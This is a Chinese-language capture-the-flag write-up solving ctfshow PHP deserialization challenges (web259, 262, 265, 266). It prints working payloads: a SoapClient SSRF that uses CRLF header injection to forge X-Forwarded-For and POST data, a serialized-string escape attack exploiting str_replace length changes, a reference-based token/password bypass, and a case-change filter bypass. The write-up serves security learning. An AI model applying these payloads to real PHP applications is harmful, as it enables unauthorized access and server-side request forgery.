反序列化刷题
web259(SSRF)
1、explod(',',"hello,ju,hey"):把字符串以逗号为判断点分为若干个数组,hello ju hey
2、array_pop($x):删除数组中的最后一个元素
1、$_SERVER['HTTP_X_FORWARDED_FOR']用来获取数据包的IP地址;我们目标要ip=127.0.0.1;
这里可以用x-forwarded-for:127.0.0.1
构造虚拟本地地址,但是这里有两次array_pop()删除数组的最后一个元素,所以我们要多写两个127.0.0.1数组元素,要把多出来的两个127.0.0.1变为元素,因为explode()是以逗号分隔开并把分隔开的变成数组元素,所以我们要在多加的两个127.0.0.1前面加上逗号
x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1
,这样经过逗号分隔且两次删除最后一个元素就能得到x-forwarded-for:127.0.0.1
2、POST数据token中还得等于'ctfshow';
这里提供了传参vip反序列和对象指向一个位置函数,说明会触发__call()魔术方法,这里没写提供此方法,判断为要采用原生类中带有call方法的类SoapClient来
监听SoapClient()初始化的数据包是怎么样的:
1、Content-Type: 我们要改为 application/x-www-form-urlencoded
表单类型
2、Content-Length: 为数据的长度,我们需要post:token=ctfshow
;所以长度为13,这样就能把后面的多余的数据给忽略掉;
3、添加一个x-forwarded-for:127.0.0.1
;
<?php$client=new SoapClient(null,array('uri'=>"192.168.70.130",'location'=>"http://192.168.70.130:4444"));
$client->getFlag(); //调用不存在的方法,会自动调用——call()函数来发送请求?>
SoapClient中添加user_agent参数来控制ua头数据;
通过\r\n
CRLF回车换行从而可以构造出:
Content-Type:application/x-www-form-urlencodedx-forwarded-for:127.0.0.1Content-Length:13token=ctfshow
构造代码:
<?php$ua="aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";$client=new SoapClient(null,array('uri'=>"192.168.70.130",'location'=>"http://192.168.70.130:4444",'user_agent'=>$ua));
$client->getFlag(); //调用不存在的方法,会自动调用——call()函数来发送请求?>
有效区域相当于这样:
图一的代码在flag.php下,所以把目的地址改为127.0.0.1/flag即可触发图一的代码,相当于利用SSRF自己访问自己;
<?php$ua="aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));echo urlencode(serialize($client));
?>
//序列化得到:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A134%3A%22aaa%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
将序列化后的代码传参给vip后成功flag.php写入到flag.txt中
web262(字符串逃逸)
PHP反序列化——字符逃逸漏洞(肯定能看懂的!)-CSDN博客
a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}abc中正常执行,abc被忽略关键:str_replace()函数在序列化后进行字符替换,因为是序列化后才替换,所以判断字符长度不变,字符数量变了
利用:通过字符长度和字符数量的不同实现字符串逃逸
打开提示有message.php
打开messa.php看到要token=admin就可以获取到flag;
说明在msg传入含有fuck字符串时候,会变成loveU,会多一个字符,但是是在序列化后替换的,所以字符长度还是4,因此只能识别到love,多出U识别不了,那么我们可以在多出的字符中加入序列化后的代码**}
并且和前面代码形成闭合{},进而忽略掉后面的**}
原来的代码;
例如我需要123,那么我传入fuckfuckfuck123456时候长度为18,变成loveUloveUloveU123456此时loveUloveUloveU123变成有效执行,此时123就为可控参数了,可以利用"目标字符}来形成闭合:
{.."fuckfuckfuck"..目标序列化代码...}..被忽略的源代码..}
当我们t=fuck时候
输出
O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
需要构造出有效的执行语句:
O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"sdfd";s:5:"token";s:5:"admin";}..被忽略的原序列化代码}
则";s:5:"token";s:5:"admin";}
为目标序列化代码,需要的长度为27,所以需要27个fuck,传参t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
输出
以下阴影部分的字符长度为135,所以替换为loveU时候";s:5:"token";s:5:"admin";}
就不受t参数控制了,覆盖为token参数,并且值为admin,形成了闭合,因此";s:5:"token";s:4:"user";}
为不会被执行
替换前:
O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
";s:5:"token";s:4:"user";}
替换前:
O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
最后访问messa.php即可看到flag的输出
web265(指针传参)
$a=&$b; //相当于把$b变量的地址赋值给$a变量,此时$a变量为一个指针指向$b的地址,$a会随着$b的值变化而变化;$a=1;$b=2;
echo $a; //输出2$a=1;$b=2;$a=3;
echo $a; //输出2$a=1;$b=2;$a=3;$b=4;
echo $a; //输出4
实现$this->token===$this->password; 即可得到flag;
$ctfshow->token=md5(mt_rand());使得token值为随机md5值;
将password当作指针指向token的地址,这样两个参数的值就可以相同;(哪个当指针都可以,最终两个的值都是相同的)
payload:O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266
$cs = file_get_contents('php://input');
将post的数据赋值给$cs(假如post:c=123就会记录c=123,参数也会记录写下来)
$username和$password都等于xxxxxx,并且$cs中不含ctfshow即可得到flag
1、$a=serialize(new ctfshow('xxxxxx','xxxxxx'));
得到:
O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
2、利用大小写绕过:
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}